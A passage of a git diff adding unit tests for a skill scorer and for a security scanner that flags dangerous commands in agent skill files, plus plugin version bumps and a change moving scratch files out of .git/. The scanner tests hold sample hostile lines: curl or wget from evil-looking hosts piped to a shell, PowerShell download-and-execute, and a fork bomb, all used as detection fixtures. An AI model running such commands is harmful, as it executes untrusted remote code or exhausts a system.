0) + + def test_report_skill_entries_have_scores_key(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) / "skills" + _write_skill(skills_dir, "my-skill") + scores = score_skills.score_all_skills(skills_dir) + report = generate_registry_report.build_report(scores, "12.7.0") + for skill_entry in report["skills"]: + self.assertIn("scores", skill_entry) + self.assertIn("total", skill_entry["scores"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/antigravity-awesome-skills/tools/scripts/tests/test_score_skills.py b/antigravity-awesome-skills/tools/scripts/tests/test_score_skills.py new file mode 100644 index 00000000..c4084dab --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/tests/test_score_skills.py @@ -0,0 +1,369 @@ +import importlib.util +import sys +import tempfile +import unittest +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[3] +TOOLS_SCRIPTS_DIR = REPO_ROOT / "tools" / "scripts" +if str(TOOLS_SCRIPTS_DIR) not in sys.path: + sys.path.insert(0, str(TOOLS_SCRIPTS_DIR)) + + +def load_module(relative_path: str, module_name: str): + module_path = REPO_ROOT / relative_path + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + sys.modules[module_name] = module + spec.loader.exec_module(module) + return module + + +score_skills = load_module("tools/scripts/score_skills.py", "score_skills") + + +# --------------------------------------------------------------------------- +# Helpers +# --------------------------------------------------------------------------- + +_COMPLETE_SKILL = """\ +--- +name: {name} +description: A well-documented skill with all required metadata fields filled. +risk: safe +source: community +date_added: 2026-01-15 +category: testing +author: contributor +tags: [test, quality] +--- + +# {name} + +## Overview +This skill demonstrates a complete documentation structure for scoring tests. + +## When to Use +- Use when you need a complete scoring test fixture. +- Use when validating the scorer against a high-quality skill. + +## How It Works +Step-by-step instructions for using this skill effectively. + +## Examples +```bash +echo "example output" +``` + +## Best Practices +- Always include code examples. +- Keep descriptions concise. + +## Limitations +- This is a test fixture only. +""" + +_MINIMAL_SKILL = """\ +--- +name: {name} +description: Minimal skill. +risk: unknown +source: self +--- + +# {name} + +## When to Use +- Use when testing minimal skills. +""" + +_EMPTY_SKILL = """\ +--- +name: {name} +description: x +risk: safe +source: self +--- +""" + + +def _write_skill(skills_dir: Path, name: str, template: str) -> Path: + skill_dir = skills_dir / name + skill_dir.mkdir(parents=True, exist_ok=True) + (skill_dir / "SKILL.md").write_text( + template.format(name=name), encoding="utf-8" + ) + return skill_dir + + +# --------------------------------------------------------------------------- +# Metadata scoring +# --------------------------------------------------------------------------- + +class MetadataScoringTests(unittest.TestCase): + def test_complete_metadata_scores_high(self): + metadata = { + "name": "my-skill", + "description": "A well-written description that is long enough.", + "risk": "safe", + "source": "community", + "date_added": "2026-01-01", + "category": "testing", + "author": "someone", + "tags": ["a", "b"], + } + score = score_skills.score_metadata(metadata, "my-skill") + self.assertGreaterEqual(score, 90.0) + + def test_missing_required_fields_penalizes(self): + score_full = score_skills.score_metadata( + {"name": "x", "description": "desc", "risk": "safe", "source": "community", "date_added": "2026-01-01"}, + "x", + ) + score_empty = score_skills.score_metadata({}, "x") + self.assertGreater(score_full, score_empty) + self.assertLess(score_empty, 30.0) + + def test_unknown_risk_penalizes(self): + base = { + "name": "x", "description": "description text here", + "risk": "safe", "source": "community", "date_added": "2026-01-01", + } + unknown = {**base, "risk": "unknown"} + score_safe = score_skills.score_metadata(base, "x") + score_unknown = score_skills.score_metadata(unknown, "x") + self.assertGreater(score_safe, score_unknown) + + def test_name_mismatch_penalizes(self): + metadata = { + "name": "wrong-name", + "description": "description", + "risk": "safe", + "source": "community", + } + score = score_skills.score_metadata(metadata, "correct-name") + self.assertLess(score, 80.0) + + def test_optional_fields_add_bonus(self): + # Use a base with risk: unknown (-10 pts) so there is room for bonuses + base = { + "name": "x", "description": "description text here", + "risk": "unknown", "source": "community", "date_added": "2026-01-01", + } + with_extras = {**base, "category": "testing", "author": "me", "tags": ["a"]} + score_base = score_skills.score_metadata(base, "x") + score_extras = score_skills.score_metadata(with_extras, "x") + self.assertGreater(score_extras, score_base) + + def test_score_is_clamped_to_0_100(self): + for metadata in ({}, {"name": "x", "description": "y" * 10, "risk": "safe", "source": "s", "date_added": "2026-01-01", "category": "c", "author": "a", "tags": ["t"], "tools": ["t"], "license": "MIT"}): + score = score_skills.score_metadata(metadata, "x") + self.assertGreaterEqual(score, 0.0) + self.assertLessEqual(score, 100.0) + + +# --------------------------------------------------------------------------- +# Documentation scoring +# --------------------------------------------------------------------------- + +class DocumentationScoringTests(unittest.TestCase): + def test_complete_documentation_scores_high(self): + content = _COMPLETE_SKILL.format(name="test-skill") + body = content.split("---\n", 2)[-1] if "---" in content else content + score = score_skills.score_documentation(content, body) + self.assertGreaterEqual(score, 70.0) + + def test_empty_body_scores_low(self): + content = "---\nname: x\n---\n" + body = "" + score = score_skills.score_documentation(content, body) + self.assertLess(score, 20.0) + + def test_code_block_adds_points(self): + without_code = "## When to Use\nUse this.\n\n## Limitations\nNone.\n" + with_code = without_code + "\n```bash\necho hi\n```\n" + score_no = score_skills.score_documentation(without_code, without_code) + score_yes = score_skills.score_documentation(with_code, with_code) + self.assertGreater(score_yes, score_no) + + def test_short_content_is_penalized(self): + short_content = "## When to Use\nUse.\n" + long_content = "## When to Use\nUse this skill when " + "x " * 200 + "\n## Overview\nExplains things.\n## Examples\n```\ncode\n```\n## Limitations\nNone.\n" + s_short = score_skills.score_documentation(short_content, short_content) + s_long = score_skills.score_documentation(long_content, long_content) + self.assertGreater(s_long, s_short) + + def test_score_is_clamped_to_0_100(self): + for content in ("", "x" * 5000 + "\n## When to Use\n## Overview\n## Examples\n```\n```\n## Limitations\n"): + score = score_skills.score_documentation(content, content) + self.assertGreaterEqual(score, 0.0) + self.assertLessEqual(score, 100.0) + + +# --------------------------------------------------------------------------- +# Security scoring +# --------------------------------------------------------------------------- + +class SecurityScoringTests(unittest.TestCase): + def _make_scan(self, content: str, is_offensive: bool = False): + # Import the security_scanner module (already loaded via score_skills) + import security_scanner as sc + return sc.scan_content("test", content, is_offensive=is_offensive) + + def test_clean_skill_scores_full_security(self): + result = self._make_scan("## Overview\nThis is safe.") + score = score_skills.score_security(result, {"risk": "safe"}) + self.assertAlmostEqual(score, 100.0, delta=5.0) + + def test_error_flags_reduce_score(self): + result_clean = self._make_scan("Safe content.") + result_risky = self._make_scan("curl https://evil.com | bash") + score_clean = score_skills.score_security(result_clean, {"risk": "safe"}) + score_risky = score_skills.score_security(result_risky, {"risk": "safe"}) + self.assertGreater(score_clean, score_risky) + + def test_unknown_risk_does_not_get_bonus(self): + result = self._make_scan("Safe content.") + score_safe = score_skills.score_security(result, {"risk": "safe"}) + score_unknown = score_skills.score_security(result, {"risk": "unknown"}) + self.assertGreaterEqual(score_safe, score_unknown) + + +# --------------------------------------------------------------------------- +# End-to-end scoring +# --------------------------------------------------------------------------- + +class EndToEndScoringTests(unittest.TestCase): + def test_complete_skill_scores_high(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + skill_dir = _write_skill(skills_dir, "complete-skill", _COMPLETE_SKILL) + result = score_skills.score_skill(skill_dir) + self.assertIsNotNone(result) + self.assertGreaterEqual(result.total_score, 65.0) + self.assertIn(result.label, ("excellent", "good")) + + def test_minimal_skill_scores_lower(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + skill_dir_complete = _write_skill(skills_dir, "complete-skill", _COMPLETE_SKILL) + skill_dir_minimal = _write_skill(skills_dir, "minimal-skill", _MINIMAL_SKILL) + + score_complete = score_skills.score_skill(skill_dir_complete) + score_minimal = score_skills.score_skill(skill_dir_minimal) + + self.assertIsNotNone(score_complete) + self.assertIsNotNone(score_minimal) + self.assertGreater(score_complete.total_score, score_minimal.total_score) + + def test_missing_skill_md_returns_none(self): + with tempfile.TemporaryDirectory() as tmp: + empty_dir = Path(tmp) / "empty-skill" + empty_dir.mkdir() + result = score_skills.score_skill(empty_dir) + self.assertIsNone(result) + + def test_score_all_skills_returns_correct_count(self): + with tempfile.TemporaryDirectory() as tmp: + skills_dir = Path(tmp) + for i in range(5): + _write_skill(skills_dir, f"skill-{i}", _MINIMAL_SKILL) + # Add one directory without SKILL.md (should be ignored) + (skills_dir / "not-a-skill").mkdir() + + results = score_skills.score_all_skills(skills_dir) + self.assertEqual(len(results), 5) + + def test_score_total_is_weighted_combination(self): + with tempfile.TemporaryDirectory() as tmp: + skill_dir = _write_skill(Path(tmp), "test-skill", _COMPLETE_SKILL) + result = score_skills.score_skill(skill_dir) + self.assertIsNotNone(result) + + expected_total = ( + result.metadata_score * 0.30 + + result.documentation_score * 0.40 + + result.security_score * 0.30 + ) + self.assertAlmostEqual(result.total_score, expected_total, delta=0.5) + + def test_label_reflects_score_bucket(self): + with tempfile.TemporaryDirectory() as tmp: + skill_dir = _write_skill(Path(tmp), "good-skill", _COMPLETE_SKILL) + result = score_skills.score_skill(skill_dir) + self.assertIsNotNone(result) + self.assertIn(result.label, ("excellent", "good", "needs_improvement", "critical")) + + def test_to_dict_has_expected_keys(self): + with tempfile.TemporaryDirectory() as tmp: + skill_dir = _write_skill(Path(tmp), "dict-skill", _MINIMAL_SKILL) + result = score_skills.score_skill(skill_dir) + self.assertIsNotNone(result) + d = result.to_dict() + self.assertIn("skill_id", d) + self.assertIn("scores", d) + self.assertIn("total", d["scores"]) + self.assertIn("metadata", d["scores"]) + self.assertIn("documentation", d["scores"]) + self.assertIn("security", d["scores"]) + self.assertIn("label", d) + + +# --------------------------------------------------------------------------- +# Summary +# --------------------------------------------------------------------------- + +class SummaryTests(unittest.TestCase): + def _make_score(self, skill_id: str, total: float, label: str, risk: str = "safe") -> object: + return score_skills.SkillScore( + skill_id=skill_id, + risk=risk, + metadata_score=total, + documentation_score=total, + security_score=total, + total_score=total, + label=label, + ) + + def test_summary_average(self): + scores = [ + self._make_score("a", 80.0, "good"), + self._make_score("b", 60.0, "good"), + self._make_score("c", 40.0, "needs_improvement"), + ] + summary = score_skills.build_summary(scores) + self.assertAlmostEqual(summary["average_score"], 60.0, delta=0.5) + + def test_summary_counts_labels(self): + scores = [ + self._make_score("a", 90.0, "excellent"), + self._make_score("b", 70.0, "good"), + self._make_score("c", 50.0, "needs_improvement"), + self._make_score("d", 30.0, "critical"), + ] + summary = score_skills.build_summary(scores) + dist = summary["score_distribution"] + self.assertEqual(dist["excellent"], 1) + self.assertEqual(dist["good"], 1) + self.assertEqual(dist["needs_improvement"], 1) + self.assertEqual(dist["critical"], 1) + + def test_summary_risk_breakdown(self): + scores = [ + self._make_score("a", 80.0, "good", risk="safe"), + self._make_score("b", 80.0, "good", risk="safe"), + self._make_score("c", 80.0, "good", risk="critical"), + ] + summary = score_skills.build_summary(scores) + rb = summary["risk_breakdown"] + self.assertEqual(rb.get("safe", 0), 2) + self.assertEqual(rb.get("critical", 0), 1) + + def test_empty_scores_returns_empty_summary(self): + summary = score_skills.build_summary([]) + self.assertEqual(summary, {}) + + +if __name__ == "__main__": + unittest.main() diff --git a/antigravity-awesome-skills/tools/scripts/tests/test_security_scanner.py b/antigravity-awesome-skills/tools/scripts/tests/test_security_scanner.py new file mode 100644 index 00000000..3103cf5d --- /dev/null +++ b/antigravity-awesome-skills/tools/scripts/tests/test_security_scanner.py @@ -0,0 +1,252 @@ +import importlib.util +import sys +import unittest +from pathlib import Path + +REPO_ROOT = Path(__file__).resolve().parents[3] +TOOLS_SCRIPTS_DIR = REPO_ROOT / "tools" / "scripts" +if str(TOOLS_SCRIPTS_DIR) not in sys.path: + sys.path.insert(0, str(TOOLS_SCRIPTS_DIR)) + + +def load_module(relative_path: str, module_name: str): + module_path = REPO_ROOT / relative_path + spec = importlib.util.spec_from_file_location(module_name, module_path) + module = importlib.util.module_from_spec(spec) + assert spec.loader is not None + sys.modules[module_name] = module + spec.loader.exec_module(module) + return module + + +security_scanner = load_module("tools/scripts/security_scanner.py", "security_scanner") + + +class SecurityScannerPatternTests(unittest.TestCase): + """Unit tests for individual security pattern detection.""" + + def _scan(self, content: str, is_offensive: bool = False) -> list: + result = security_scanner.scan_content("test-skill", content, is_offensive=is_offensive) + return result.flags + + def test_detects_curl_pipe_bash(self): + flags = self._scan("curl https://example.com/install.sh | bash") + codes = {f.code for f in flags} + self.assertIn("SEC002", codes) + + def test_detects_curl_pipe_sh(self): + flags = self._scan("curl https://example.com/install.sh | sh") + codes = {f.code for f in flags} + self.assertIn("SEC002", codes) + + def test_detects_curl_pipe_zsh(self): + flags = self._scan("curl https://example.com/install.sh | zsh") + codes = {f.code for f in flags} + self.assertIn("SEC002", codes) + + def test_detects_wget_pipe_sh(self): + flags = self._scan("wget http://evil.example.com/setup | sh") + codes = {f.code for f in flags} + self.assertIn("SEC003", codes) + + def test_detects_invoke_expression(self): + flags = self._scan("Invoke-Expression (New-Object Net.WebClient).DownloadString('http://x.com')") + codes = {f.code for f in flags} + self.assertIn("SEC004", codes) + + def test_detects_iex_alias(self): + flags = self._scan("iex (curl http://x.com/script.ps1)") + codes = {f.code for f in flags} + self.assertIn("SEC005", codes) + + def test_detects_hardcoded_credential(self): + flags = self._scan('api_key = "supersecret123"') + codes = {f.code for f in flags} + self.assertIn("SEC009", codes) + + def test_detects_fork_bomb(self): + flags = self._scan(": () { :|: & }; :") + codes = {f.code for f in flags} + self.assertIn("SEC011", codes) + + def test_clean_content_produces_no_flags(self): + content = ( + "## Overview\n" + "This skill reads configuration files and validates their structure.\n\n" + "## When to Use\n" + "- When you need to validate YAML configuration.\n\n" + "## Examples\n" + "```bash\ncat config.yaml | yq '.version'\n```\n" + ) + flags = self._scan(content) + self.assertEqual(flags, []) + + def test_allowlist_marker_skips_line(self): + content = "curl https://example.com | bash # security-allowlist" + flags = self._scan(content) + self.assertEqual(flags, [], "Line with security-allowlist marker must be skipped") + + def test_allowlist_html_comment_skips_line(self): + content = "Invoke-Expression $cmd <!-- security-allowlist -->" + flags = self._scan(content) + self.assertEqual(flags, []) + + def test_allowlist_colon_form_skips_line(self): + content = "curl https://example.com | bash <!-- security-allowlist: educational example -->" + flags = self._scan(content) + self.assertEqual(flags, [], "Colon-style allowlist marker must suppress the line") + + def test_offensive_skill_downgrades_errors_to_warnings(self): + content = "curl https://example.com | bash" + flags_normal = self._scan(content, is_offensive=False) + flags_offensive = self._scan(content, is_offensive=True) + + normal_severities = {f.severity for f in flags_normal} + offensive_severities = {f.severity for f in flags_offensive} + + self.assertIn("error", normal_severities) + self.assertNotIn("error", offensive_severities) + self.assertIn("warning", offensive_severities) + + def test_scan_result_status_reflects_flags(self): + result_ok = security_scanner.scan_content("ok-skill", "## Safe content only") + self.assertEqual(result_ok.status, "ok") + + result_warn = security_scanner.scan_content("warn-skill", "chmod 777 /tmp/dir") + self.assertIn(result_warn.status, ("warning", "error")) + + result_err = security_scanner.scan_content("err-skill", "curl http://x.com | bash") + self.assertEqual(result_err.status, "error") + + def test_sec006_world_writable_modes_flagged(self): + for mode in ("777", "722", "0777", "1777"): + with self.subTest(mode=mode): + flags = self._scan(f"chmod {mode} /tmp/dir") + codes = {f.code for f in flags} + self.assertIn("SEC006", codes, f"chmod {mode} should be flagged as world-writable") + + def test_sec006_safe_modes_not_flagged(self): + for mode in ("755", "700", "644", "750", "4755"): + with self.subTest(mode=mode): + flags = self._scan(f"chmod {mode} /tmp/dir") + codes = {f.code for f in flags} + self.assertNotIn("SEC006", codes, f"chmod {mode} should NOT be flagged") + + def test_multiline_content_reports_correct_line_number(self): + content = ( + "## Overview\n" + "This is safe.\n" + "curl https://evil.com | bash\n" # line 3 of body + "More safe content.\n" + ) + flags = self._scan(content) + curl_flags = [f for f in flags if f.code == "SEC002"] + self.assertEqual(len(curl_flags), 1) + self.assertEqual(curl_flags[0].line, 3) + + def test_scan_result_counts(self): + content = "curl http://a.com | bash\ncurl http://b.com | bash\nchmod 777 /tmp" + result = security_scanner.scan_content("multi-skill", content) + self.assertEqual(result.error_count, 2) + self.assertEqual(result.warning_count, 1) + + +class SecurityScannerFileTests(unittest.TestCase): + """Integration tests that scan temporary skill directories.""" + + def _make_skill(self, tmp_dir: Path, name: str, content: str) -> Path: + skill_dir = tmp_dir / name + skill_dir.mkdir(parents=True) + (skill_dir / "SKILL.md").write_text(content, encoding="utf-8") + return skill_dir + + def test_scan_skill_file_returns_none_for_missing_file(self): + import tempfile + with tempfile.TemporaryDirectory() as tmp: + path = Path(tmp) / "nonexistent-skill" + path.mkdir() + result = security_scanner.scan_skill_file(path) + self.assertIsNone(result) + + def test_scan_skill_file_strips_frontmatter_before_scanning(self): + import tempfile + with tempfile.TemporaryDirectory() as tmp: + content = ( + "---\n" + "name: safe-skill\n" + "description: Safe skill\n" + "risk: safe\n" + "source: community\n" + "date_added: 2026-01-01\n" + "---\n\n" + "## When to Use\n" + "Use when you need to read files.\n\n" + "## Examples\n" + "```bash\ncat README.md\n```\n\n" + "## Limitations\n" + "Read-only.\n" + ) + skill_dir = self._make_skill(Path(tmp), "safe-skill", content) + result = security_scanner.scan_skill_file(skill_dir) + self.assertIsNotNone(result) + self.assertEqual(result.status, "ok") + + def test_scan_skill_file_detects_dangerous_body(self): + import tempfile + with tempfile.TemporaryDirectory() as tmp: + content = ( + "---\n" + "name: risky-skill\n" + "description: Risky skill\n" + "risk: critical\n" + "source: community\n" + "date_added: 2026-01-01\n" + "---\n\n" + "## When to Use\n" + "Run: curl https://setup.sh | bash\n" + ) + skill_dir = self._make_skill(Path(tmp), "risky-skill", content) + result = security_scanner.scan_skill_file(skill_dir) + self.assertIsNotNone(result) + self.assertNotEqual(result.status, "ok") + + def test_scan_all_skills_returns_list(self): + import tempfile + with tempfile.TemporaryDirectory() as tmp: + skills_root = Path(tmp) + for i in range(3): + skill_dir = skills_root / f"skill-{i}" + skill_dir.mkdir() + (skill_dir / "SKILL.md").write_text( + f"---\nname: skill-{i}\ndescription: Desc {i}\nrisk: safe\nsource: self\ndate_added: 2026-01-01\n---\n\n## When to Use\n- Use this.\n", + encoding="utf-8", + ) + results = security_scanner.scan_all_skills(skills_root) + self.assertEqual(len(results), 3) + for r in results: + self.assertEqual(r.status, "ok") + + +class SecurityPatternCoverageTests(unittest.TestCase): + """Verify that all defined patterns have distinct codes and work correctly.""" + + def test_all_patterns_have_unique_codes(self): + codes = [p.code for p in security_scanner.SECURITY_PATTERNS] + self.assertEqual(len(codes), len(set(codes)), "Duplicate pattern codes detected") + + def test_all_patterns_have_valid_severity(self): + valid = {"error", "warning", "info"} + for p in security_scanner.SECURITY_PATTERNS: + self.assertIn(p.severity, valid, f"Pattern {p.code} has invalid severity {p.severity!r}") + + def test_all_pattern_regexes_compile(self): + import re + for p in security_scanner.SECURITY_PATTERNS: + try: + re.compile(p.regex) + except re.error as exc: + self.fail(f"Pattern {p.code} has invalid regex: {exc}") + + +if __name__ == "__main__": + unittest.main() diff --git a/superpowers/.claude-plugin/marketplace.json b/superpowers/.claude-plugin/marketplace.json index 0230ee7e..fe852962 100644 --- a/superpowers/.claude-plugin/marketplace.json +++ b/superpowers/.claude-plugin/marketplace.json @@ -9,7 +9,7 @@ { "name": "superpowers", "description": "Core skills library for Claude Code: TDD, debugging, collaboration patterns, and proven techniques", - "version": "6.0.2", + "version": "6.0.3", "source": "./", "author": { "name": "Jesse Vincent", diff --git a/superpowers/.claude-plugin/plugin.json b/superpowers/.claude-plugin/plugin.json index 292e7fe3..8bec5fe0 100644 --- a/superpowers/.claude-plugin/plugin.json +++ b/superpowers/.claude-plugin/plugin.json @@ -1,7 +1,7 @@ { "name": "superpowers", "description": "Core skills library for Claude Code: TDD, debugging, collaboration patterns, and proven techniques", - "version": "6.0.2", + "version": "6.0.3", "author": { "name": "Jesse Vincent", "email": "jesse@fsck.com" diff --git a/superpowers/.codex-plugin/plugin.json b/superpowers/.codex-plugin/plugin.json index 8eea97dd..7f8ae7b6 100644 --- a/superpowers/.codex-plugin/plugin.json +++ b/superpowers/.codex-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "superpowers", - "version": "6.0.2", + "version": "6.0.3", "description": "An agentic skills framework & software development methodology that works: planning, TDD, debugging, and collaboration workflows.", "author": { "name": "Jesse Vincent", diff --git a/superpowers/.cursor-plugin/plugin.json b/superpowers/.cursor-plugin/plugin.json index 79609ba2..ff2a7762 100644 --- a/superpowers/.cursor-plugin/plugin.json +++ b/superpowers/.cursor-plugin/plugin.json @@ -2,7 +2,7 @@ "name": "superpowers", "displayName": "Superpowers", "description": "Core skills library: TDD, debugging, collaboration patterns, and proven techniques", - "version": "6.0.2", + "version": "6.0.3", "author": { "name": "Jesse Vincent", "email": "jesse@fsck.com" diff --git a/superpowers/.kimi-plugin/plugin.json b/superpowers/.kimi-plugin/plugin.json index ff5727e3..6f9d4854 100644 --- a/superpowers/.kimi-plugin/plugin.json +++ b/superpowers/.kimi-plugin/plugin.json @@ -1,6 +1,6 @@ { "name": "superpowers", - "version": "6.0.2", + "version": "6.0.3", "description": "An agentic skills framework and software development methodology.", "author": { "name": "Jesse Vincent", diff --git a/superpowers/RELEASE-NOTES.md b/superpowers/RELEASE-NOTES.md index d2fdbc5b..9fbb323b 100644 --- a/superpowers/RELEASE-NOTES.md +++ b/superpowers/RELEASE-NOTES.md @@ -1,5 +1,11 @@ # Superpowers Release Notes +## v6.0.3 (2026-06-18) + +### Subagent-Driven Development + +- **SDD scratch files moved out of `.git/`.** Claude Code treats `.git/` as a protected path and denies agent writes there, so an implementer subagent writing its report into `.git/sdd/` got blocked mid-run. Task briefs, implementer reports, review diffs, and the progress ledger now live in a self-ignoring `.superpowers/sdd/` directory in the working tree — kept out of `git status` and out of commits, and resolved per worktree by a shared `sdd-workspace` helper. One caveat: because the workspace is git-ignored working-tree scratch, `git clean -fdx` will delete the progress ledger; recover from `git log` if that happens. (#1780) + ## v6.0.2 (2026-06-16) ### Install Fixes diff --git a/superpowers/SOURCE.md b/superpowers/SOURCE.md index 84fd1326..932e3e53 100644 --- a/superpowers/SOURCE.md +++ b/superpowers/SOURCE.md @@ -1,8 +1,8 @@ # Source - Repo: https://github.com/obra/superpowers -- Ref: b62616fc12f6a007c6fd5118146821d748da0d33 +- Ref: 896224c4b1879920ab573417e68fd51d2ccc9072 - Remove-Paths: skills/ui-ux-pro-max -- Snapshot: 2026-06-18 +- Snapshot: 2026-06-19 - Sync-Mode: copy_skill_dirs - Notes: vendored into playbook branch thirdparty/skill diff --git a/superpowers/gemini-extension.json b/superpowers/gemini-extension.json index 318a38cc..d8208794 100644 --- a/superpowers/gemini-extension.json +++ b/superpowers/gemini-extension.json @@ -1,6 +1,6 @@ { "name": "superpowers", "description": "Core skills library: TDD, debugging, collaboration patterns, and proven techniques", - "version": "6.0.2", + "version": "6.0.3", "contextFileName": "GEMINI.md" } diff --git a/superpowers/package.json b/superpowers/package.json index 205873ad..ee6b22f0 100644 --- a/superpowers/package.json +++ b/superpowers/package.json @@ -1,6 +1,6 @@ { "name": "superpowers", - "version": "6.0.2", + "version": "6.0.3", "description": "Superpowers skills and runtime bootstrap for coding agents", "type": "module", "main": ".opencode/plugins/superpowers.js", diff --git a/superpowers/skills/subagent-driven-development/SKILL.md b/superpowers/skills/subagent-driven-development/SKILL.md index 26760430..d8ca0815 100644 --- a/superpowers/skills/subagent-driven-development/SKILL.md +++ b/superpowers/skills/subagent-driven-development/SKILL.md @@ -251,7 +251,7 @@ sequences — the single most expensive failure observed. Track progress in a ledger file, not only in todos. - At skill start, check for a ledger: - `cat "$(git rev-parse --git-path sdd)/progress.md"`. Tasks listed there + `cat "$(git rev-parse --show-toplevel)/.superpowers/sdd/progress.md"`. Tasks listed there as complete are DONE — do not re-dispatch them; resume at the first task not marked complete. - When a task's review comes back clean, append one line to the ledger in @@ -260,6 +260,8 @@ a ledger file, not only in todos. - The ledger is your recovery map: the commits it names exist in git even when your context no longer remembers creating them. After compaction, trust the ledger and `git log` over your own recollection. +- `git clean -fdx` will destroy the ledger (it's git-ignored scratch); if + that happens, recover from `git log`. ## Prompt Templates diff --git a/superpowers/skills/subagent-driven-development/scripts/review-package b/superpowers/skills/subagent-driven-development/scripts/review-package index 88a00224..33bb20f7 100755 --- a/superpowers/skills/subagent-driven-development/scripts/review-package +++ b/superpowers/skills/subagent-driven-development/scripts/review-package @@ -5,9 +5,8 @@ # tasks intact. # # Usage: review-package BASE HEAD [OUTFILE] -# Default OUTFILE: <git-dir>/sdd/review-<base7>..<head7>.diff — unique per -# repo instance and per range, so concurrent sessions cannot collide and a -# re-review after fixes always gets a distinctly named fresh file. +# Default OUTFILE: <repo-root>/.superpowers/sdd/review-<base7>..<head7>.diff +# (named per range, so a re-review after fixes gets a distinct fresh file). set -euo pipefail if [ $# -lt 2 ] || [ $# -gt 3 ]; then @@ -24,9 +23,7 @@ git rev-parse --verify --quiet "$head" >/dev/null || { echo "bad HEAD: $head" >& if [ $# -eq 3 ]; then out=$3 else - dir=$(git rev-parse --git-path sdd) - mkdir -p "$dir" - dir=$(cd "$dir" && pwd) + dir=$("$(cd "$(dirname "$0")" && pwd)/sdd-workspace") out="$dir/review-$(git rev-parse --short "$base")..$(git rev-parse --short "$head").diff" fi diff --git a/superpowers/skills/subagent-driven-development/scripts/sdd-workspace b/superpowers/skills/subagent-driven-development/scripts/sdd-workspace new file mode 100755 index 00000000..ea9bb08f --- /dev/null +++ b/superpowers/skills/subagent-driven-development/scripts/sdd-workspace @@ -0,0 +1,22 @@ +#!/usr/bin/env bash +# Resolve and ensure the working-tree directory SDD uses for its short-lived +# artifacts: task briefs, implementer reports, review packages, and the +# progress ledger. Print the directory's absolute path. +# +# The workspace lives in the working tree (not under .git/) because Claude Code +# treats .git/ as a protected path and denies agent writes there — which blocks +# an implementer subagent from writing its report file. A self-ignoring +# .gitignore keeps the workspace out of `git status` and out of accidental +# commits without modifying any tracked file. +# +# Single source of truth for the workspace location, so task-brief and +# review-package cannot drift to different directories. +# +# Usage: sdd-workspace +set -euo pipefail + +root=$(git rev-parse --show-toplevel) +dir="$root/.superpowers/sdd" +mkdir -p "$dir" +printf '*\n' > "$dir/.gitignore" +cd "$dir" && pwd diff --git a/superpowers/skills/subagent-driven-development/scripts/task-brief b/superpowers/skills/subagent-driven-development/scripts/task-brief index b046a2bb..247a7670 100755 --- a/superpowers/skills/subagent-driven-development/scripts/task-brief +++ b/superpowers/skills/subagent-driven-development/scripts/task-brief @@ -4,8 +4,8 @@ # through the controller's context. # # Usage: task-brief PLAN_FILE TASK_NUMBER [OUTFILE] -# Default OUTFILE: <git-dir>/sdd/task-<N>-brief.md — unique per repo -# instance, so concurrent sessions cannot collide. +# Default OUTFILE: <repo-root>/.superpowers/sdd/task-<N>-brief.md +# (per worktree; concurrent runs in the same working tree share it). set -euo pipefail if [ $# -lt 2 ] || [ $# -gt 3 ]; then @@ -20,9 +20,7 @@ n=$2 if [ $# -eq 3 ]; then out=$3 else - dir=$(git rev-parse --git-path sdd) - mkdir -p "$dir" - dir=$(cd "$dir" && pwd) + dir=$("$(cd "$(dirname "$0")" && pwd)/sdd-workspace") out="$dir/task-${n}-brief.md" fi diff --git a/superpowers/tests/brainstorm-server/package-lock.json b/superpowers/tests/brainstorm-server/package-lock.json index 383c6ff0..c194943f 100644 --- a/superpowers/tests/brainstorm-server/package-lock.json +++ b/superpowers/tests/brainstorm-server/package-lock.json @@ -8,13 +8,13 @@ "name": "brainstorm-server-tests", "version": "1.0.0", "dependencies": { - "ws": "^8.19.0" + "ws": "^8.21.0" } }, "node_modules/ws": { - "version": "8.19.0", - "resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz", - "integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==", + "version": "8.21.0", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.21.0.tgz", + "integrity": "sha512-Vsp28b7DRcimFQvrqu2Wek3z1iYxDCWqHYB8Qsnk/S4RfaCQzPGPyBNuVjJV3cd6UiKtUtp6sNM77gWvzcCH+g==", "license": "MIT", "engines": { "node": ">=10.0.0" diff --git a/superpowers/tests/brainstorm-server/package.json b/superpowers/tests/brainstorm-server/package.json index 4711e61f..0cb87f9d 100644 --- a/superpowers/tests/brainstorm-server/package.json +++ b/superpowers/tests/brainstorm-server/package.json @@ -5,6 +5,6 @@ "test": "node ws-protocol.test.js && node helper.test.js && node browser-launcher.test.js && node auth.test.js && node branding.test.js && node server.test.js && node lifecycle.test.js && bash start-server.test.sh && bash stop-server.test.sh" }, "dependencies": { - "ws": "^8.19.0" + "ws": "^8.21.0" } } diff --git a/superpowers/tests/claude-code/run-skill-tests.sh b/superpowers/tests/claude-code/run-skill-tests.sh index cdb8da6e..c94cfec9 100755 --- a/superpowers/tests/claude-code/run-skill-tests.sh +++ b/superpowers/tests/claude-code/run-skill-tests.sh @@ -74,6 +74,7 @@ done # List of skill tests to run (fast unit tests) tests=( "test-worktree-path-policy.sh" + "test-sdd-workspace.sh" "test-subagent-driven-development.sh" ) diff --git a/superpowers/tests/claude-code/test-sdd-workspace.sh b/superpowers/tests/claude-code/test-sdd-workspace.sh new file mode 100755 index 00000000..397e1ebc --- /dev/null +++ b/superpowers/tests/claude-code/test-sdd-workspace.sh @@ -0,0 +1,142 @@ +#!/usr/bin/env bash +# Tests for the SDD workspace: scripts/sdd-workspace resolves a self-ignoring +# working-tree directory for SDD artifacts, and the SDD scripts write into it. +set -euo pipefail + +SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)" +REPO_ROOT="$(cd "$SCRIPT_DIR/../.." && pwd)" +SDD_SCRIPTS="$REPO_ROOT/skills/subagent-driven-development/scripts" + +FAILURES=0 +TEST_ROOT="" + +pass() { echo " [PASS] $1"; } +fail() { + 